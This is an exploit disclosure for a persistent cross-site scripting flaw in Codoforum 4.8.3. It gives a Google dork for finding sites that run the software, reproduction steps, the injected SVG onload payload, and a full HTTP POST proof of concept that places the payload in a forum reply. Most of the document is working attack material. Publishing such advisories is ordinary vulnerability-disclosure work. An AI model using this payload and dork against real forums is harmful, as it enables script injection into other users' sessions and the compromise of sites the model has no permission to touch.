Codoforum 4.8.3 Cross Site Scripting

`# Exploit Title: Codoforum 4.8.3 - Persistent Cross-Site Scripting  
# Google Dork: intext:"Powered by Codoforum"  
# Date: 2020-01-07  
# Exploit Author: Vyshnav Vizz  
# Vendor Homepage: https://codoforum.com/index.php  
# Software Link: https://codoforum.com/buy  
# Version: Codoforum 4.8.3   
# Tested on: Linux  
# CVE : N/A  
  
Codoforum is prone to a Persistent Cross-site Scripting Vulnerability in User-Comment replay section  
An attacker can exploit this issue to creating user with payload and perform cross-site scripting attacks.  
  
Codoforum version 4.8.3 is vulnerable.   
  
1. Install Codoforum 4.8.3 in a local server.  
2. Go to Start a new Topic >> Replay to any of the comment with XSS Payload  
3. Payload : "><svg/onload=alert(1)>  
4. Now an XSS alert will be triggered here.  
  
POC:  
  
POST /forum/index.php?u=/Ajax/topic/reply HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 214  
Origin: http://susmost.com  
Connection: close  
Referer: http://localhost/forum/index.php?u=/topic/21/avg-antivirus-download-avg-antivirus-free-download-topbrandscompare  
Cookie: PHPSESSID=b5dccfcef3b5f4ce9571fbd3269d5b23; cf=0  
  
input_txt="><svg/onload=alert(1)>&output_txt=STARTCODOTAGp%3E%22%26gt%3B%26lt%3Bsvg%2Fonload%3Dalert(1)%26gt%3BSTARTCODOTAG%2Fp%3E%0A&tid=21&end_of_line=&token=35f5f85a86b15f475bbd9b79de313fa0&pid=false  
`